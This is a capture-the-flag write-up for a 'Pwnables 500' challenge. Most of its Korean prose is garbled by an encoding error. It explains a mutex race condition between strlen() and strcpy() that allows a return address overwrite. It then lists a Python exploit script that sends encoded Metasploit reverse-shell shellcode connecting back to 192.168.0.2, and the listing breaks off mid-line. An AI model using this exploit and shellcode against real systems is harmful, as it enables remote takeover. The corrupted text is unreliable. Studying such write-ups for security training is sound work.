Pwnables 500 ¼­¹ö¸¦ ¸®¹ö½ÌÇØ º¸¸é pthread¸¦ »ç¿ëÇÑ ÇÁ·Î±×·¥À̶ó´Â °ÍÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ¶ÇÇÑ mutex lockÀ» ÅëÇØ thread°£ÀÇ resouce access¸¦ controlÇϰí Àִµ¥ Ãë¾àÁ¡Àº mutex lock µÎ Á¾·ù Áß Ã¹¹øÂ° »ç¿ëµÇ´Â lockÀÌ strlen()°ú strcpy() »çÀÌ¿¡ ·çÇÁ¸¦ µ¹¸ç(½Ã°£À» Áö¿¬½Ã۸ç) unlock µÇ´Â ºÎºÐÀÔ´Ï´Ù. Áï thread °£ÀÇ lock¿¡ ¹®Á¦°¡ »ý±æ°æ¿ì strlen()¿¡¼­ »ç¿ëÇÑ resouce¿Í ½ÇÁ¦ strcpy()¿¡¼­ »ç¿ëÇÑ resouce´Â ´Ù¸¦ ¼ö°¡ ÀÖÀ¸¹Ç·Î RET¸¦ µ¤¾î¾µ ¼ö ÀÖ½À´Ï´Ù. (ÁÖÀÇ) 1) pwn500ÀÇ °æ¿ì timing condition¿¡ ¸Å¿ì ¹Î°¨ÇÔ 2) ¼­¹ö¿¡¼­ ù¹øÂ° thread°¡ strcpyÀü¿¡ ù¹øÂ° mutex¸¦ unlockÇÏ´Â ºÎºÐÀÇ ·çÇÁ¸¦ ¿©·¯¹ø µ¹°Ô µÇ´Âµ¥ À̺κп¡¼­ ù¹øÂ° thread°¡ unlockÇÏ°Ô µÊ 3) ¹Ù·Î ù¹øÂ° thread°¡ ÀÌ ·çÇÁ¸¦ µ¹¸é¼­ ½Ã°£À» ¹ö´Â µ¿¾È µÎ¹øÂ° thread°¡ µé¾î°¡¼­ strcpyÀÇ src ºÎºÐ(heap)À» º¯°æÇØ¾ß ÇÔ 4) ÇÏÁö¸¸ timing ¿¡ ¸Å¿ì ¹Î°¨Çؼ­ °ø°Ý¼º°ø È®·üÀÌ ±×¸® ³ôÁö ¸øÇÔ °ø°ÝÀÌ ¼º°øÇßÀ½À», Áï timing conditionÀÌ ¸Â¾Æ ¶³¾îÁ³´Ù´Â°ÍÀ» client¿¡¼­ ¾Ë¼öÀÖ´Â ¹æ¹ýÀº ============================================= 1. doFirst send 2. doSecond send 3. doSecond recv ==> must be consists of ascii characters 4. doFirst recv ==> must be 0 bytes ! ( ¼­¹ö¿¡¼± ù¹øÂ° thread¿¡ ´ëÇØ send±îÁö ¸ø°¡°í strcpy¸¦ ÇÏ´Â func¿¡¼­ RET°¡ µ¤¾î¾º¿öÁ³À¸¹Ç·Î) ============================================= ¿Í °°Àº ¼ø¼­·Î operationÀÌ ÀÌ·ç¾îÁö¸é timing conditionÀÌ ¸ÂÃß¿© Á³´Ù´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù. À̸¦ À§ÇØ ÀÛ¼ºµÈ ÄÚµå expPwn500.py´Â ´ÙÀ½°ú °°½À´Ï´Ù. =========================================================================== $ cat pw500.py #! /usr/local/bin/python import struct import socket import time import thread host = "quals07.allyourboxarebelongto.us" port = 12345 # Connect back to 192.168.0.2 #/* bsdi_ia32_reverse - LHOST=192.168.0.2 LPORT=5555 Size=104 Encoder=PexFnstenvSub http://metasploit.com */ scode = "\x33\xc9\x83\xe9\xec\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3e" scode += "\xe2\xa7\xc7\x83\xeb\xfc\xe2\xf4\xb7\x07\xcf\xc7\x39\xe2\x64\x7f" scode += "\xa4\xe2\xa7\xc7\xa7\xb2\x2e\x21\x6c\xa0\xf5\x85\x6c\x88\xc6\x9f" scode += "\xc1\x34\x30\xaf\xfe\x4a\xa7\xc5\x56\xf2\xa5\xd2\x8d\x6b\x44\xad" scode += "\x2e\xb1\xf0\xad\x5c\xba\x58\x11\x8e\xb8\xf5\x90\xc1\x34\xed\xbe" scode += "\xc9\xb2\xcf\xe8\x11\x91\xcf\xaf\x11\x80\xce\xa9\xb7\x01\xf7\x93" scode += "\x6d\x52\x9c\x38\xe8\xe2\xa7\xc7" def doFirst( sfdSub): buf = "a"*0x1f0 + "\x00\x00\x00\x00" buf += "a" * (0x500-len(buf)) # ù¹øÂ° threadÀÇ buffer´Â 0x1f3À» ¾È³Ñ¾î¼­ # strcpyÀüÀÇ strlen() check ¸¦ ³Ñ¾î¾ß ÇÑ´Ù. nBytes = sfdSub.send(buf) # make sure str doesn't exceed 0x1f3 print "doFirst send : [%x] bytes" % nBytes output = sfdSub.recv(100) print "doFirst recv len: [%x]bytes (1)" % len(output) #print "doFirst recv [%s]bytes" % output return def doSecond( sfdSub): BUF_BASE = 0x0804C600 retAddr = BUF_BASE + 0x260 # retAddr Àº heapÀ» ÀÌ¿ëÇϹǷΠstatic addressÀÌ´Ù print "use retAddr : [0x%08x] " % retAddr # retAddr must not have '\x00' byte ''' second buffer Layout b * 0x20 bytes :: second thread¿¡ ´ëÇÑ recv¿¡¼­ ¼º°ø, ½ÇÆÐ ¿©ºÎ¸¦ ¾Ë±âÀ§ÇØ ascii¸¦ ÁÜ retAddr 0x1F0 bytes :: overwrite RET ''' buf = "b" * 0x20 buf += struct.pack( "